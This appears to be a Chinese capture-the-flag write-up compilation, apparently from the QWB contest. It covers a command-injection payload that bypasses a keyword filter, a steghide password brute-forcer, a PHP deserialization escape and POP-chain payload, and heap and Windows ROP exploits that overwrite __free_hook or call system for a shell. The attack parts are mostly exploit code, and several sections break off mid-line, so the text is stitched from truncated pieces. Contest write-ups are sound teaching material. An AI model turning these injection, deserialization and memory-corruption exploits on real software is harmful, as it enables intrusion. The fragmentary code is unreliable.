ban了flag关键字,直接使用grep命令,无需使用flag
payload:127.0.0.1;grep -r fl
flag{I_like_qwb_web}
打开流量包,提示steghide,post了一个图片
使用tcpxtract分离图片
steghide爆破,密码123456
网上的脚本
#bruteStegHide.sh
#!/bin/bash
for line in `cat $2`;do
steghide extract -sf $1 -p $line > /dev/null 2>&1
if [[ $? -eq 0 ]];then
echo 'password is: '$line
exit
fi
done
flag{te11_me_y0u_like_it}
web辅助
操作内容:
1、common.php中的read和write函数,
调用后读出有一个5字符变3字符的字符逃逸问题。所以在进行反序列化的时候,还会继续向后读取,这样序列化的结果就完全不一样了。
2、构造pop链
topsolo类的TP方法进行对象调用--》触发midsolo的__invoke方法然后触发Gank方法--》stristr是对字符串的操作触发了jungle类的__toString方法达到输出flag的目的
3、源码中class.php中出现了四个类,player,topsolo,midsolo,jungle,除了player类其他三个类中都出现了一个name属性,然后看到common.php中有check函数有对这个name字符串进行限制:
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
需要绕过stristr对name的检测:
这里可以通过序列化时将s改为S,php序列化中为了避免信息丢失,支持当使用大写S时,此时这个字符串就支持将后面的字符串用16进制表示。
4、payload构造
$jun=new jungle(NULL);
$mid=new midsolo($jun);
$top=new topsolo($mid);
$payload=(serialize($top));
//O:7:"topsolo":1:{s:7:" * name";O:7:"midsolo":1:{s:7:" * name";O:6:"jungle":1:{s:7:" * name";N;}}}
5、计算逃逸点
一点点试,
最后固定username的值为\0*\0为22组,则可以逃逸出44个字符
构造pass属性的值:
;"AAAAAAAAAAAAAAAAAAA";s:8:"%00*%00admin";O:7:"topsolo":2:{S:7:"\00*\00\6e\61\6d\65";O:7:"midsolo":1:{S:7:"\00*\00\6e\
edit存在整数溢出,可以越界写。用 opendir 函数在堆上创建一个DIR结构体,利用 edit 修改 offset 字段指向 unsorted bins 堆块,然后调用 readdir 返回堆块并泄漏上面的libc地址。
首先释放8个 0x90 堆块,填满 tcache 并将其中一个堆块放进 unsorted bin。unsorted bin 堆块上有 main_arena 地址。
for i in range(8):
add(i, 0x80)
add(0xf, 0x80)
for i in range(8):
free(i)
然后利用 edit 功能修改堆上 DIR 结构体指向 unsorted bin 堆块。
# dirp->size = -1
edit(0, 8, (0x555555757270-0x55555575f600), p64(-1, signed=True))
# dirp->offset = 0x83ed
edit(0, 8, (0x555555757270-0x55555575f600)+8, p64((0x55555575f690-0x555555757290)-0x13))
# dp->d_ino = 0x414141
edit(0, 0x80, 0, b'A'*0x80)
然后调用 readdir 泄露 main_arena 地址。
readdir()
p.recvuntil("Filename: ")
libc.address = u64(p.recv(6) + b'\x00\x00') - (0x7ffff7dcfca0-0x7ffff79e4000)
再次利用 edit 功能将 tcache fd 改成 free_hook 地址。分配得到 free_hook 地址后,写入 system 函数地址。最后调用 free 函数 getshell。
edit(0, 8, (0x555555757088-0x55555575f600), p64(libc.symbols["__free_hook"]))
add(1, 0x80)
edit(1, 8, 0, p64(libc.symbols["syst
先简单写写,后面有时间补齐。需要写反汇编器读出pass的逻辑,基本就是通过xor来简单加密,进去主逻辑后会有简单栈溢出,可以控pc。问题就是虚拟机内部的code段和data段是严格分离的,不能直接跳shellcode。但是image内部无用代码可以扫出完整的pop ret和syscall gadget,拼起来可以做rop直接open read write读flag。
反汇编以及扫gadget的脚本:
from VM_Disassembler import VM_Disassembler
import struct
from io import open
import re
def bytes_to_word(val_bytes):
return val_bytes[0] + 0x100 * val_bytes[1]
def bytes_to_int(val_bytes):
val = 0
for byte_val in val_bytes[::-1]:
val *= 0x100
val += byte_val
return val
def offset_to_addr(offset):
vm_start = 0x1190
return offset - vm_start
def get_imm(hi, data):
if hi == 0x10:
return data[0]
elif hi == 0x20:
return bytes_to_word(data)
elif hi == 0x30:
return bytes_to_int(data[:4])
elif hi == 0x40:
return bytes_to_int(data[:8])
regs = ['r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15',
'rdi', 'rsi', 'rbp', 'rbx', 'rdx', 'rax', 'rcx', 'rsp', 'rip', 'efla
windows 下简单的栈溢出,rop过程比较复杂,code段可用gadget太少,可以先泄露栈上一个ntdll的地址,然后就可以使用ntdll里面丰富的gadget了。和linux系统不同,这里好像没有plt函数的概念,因此调用来自ucrtbase的函数时候要借助以下两条gadget。
mov_rax_rax = ntdll_base + 0xbbd33 #0x00000001800bbd33: mov rax, qword ptr [rax]; ret;
call_rax = ntdll_base + 0xa479d #0x00000001800a479d: call rax; nop; add rsp, 0x28; ret;
思路是先通过泄露iat表上ucrtbase库函数地址puts,算ucrtbase的基地址,然后知道system地址以后就可以system("/cmd")。做法还是比较直接,就是winddbg preview的环境配置比较坑。而且windows不像linux可以直接加载自定义的动态库,打远程的时候偏移还得重新改。
from winpwn import *
import sys
context.log_level = "debug"
# p = process(["./StackOverflow.exe", "1"])
p = remote("39.99.46.209", 13389)
cyclic = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaad
mmap edit的地方有个瞎写的检查,可以直接越界写libc上面的内容,直接改free_hook,system("/bin/sh")结束。
from pwn import *
import re
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = "debug"
env = {'LD_PRELOAD': ''}
if len(sys.argv) == 1:
p = process('./oldschool')
elif len(sys.argv) == 3:
p = remote(sys.argv[1], sys.argv[2])
bp_list = []
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
# g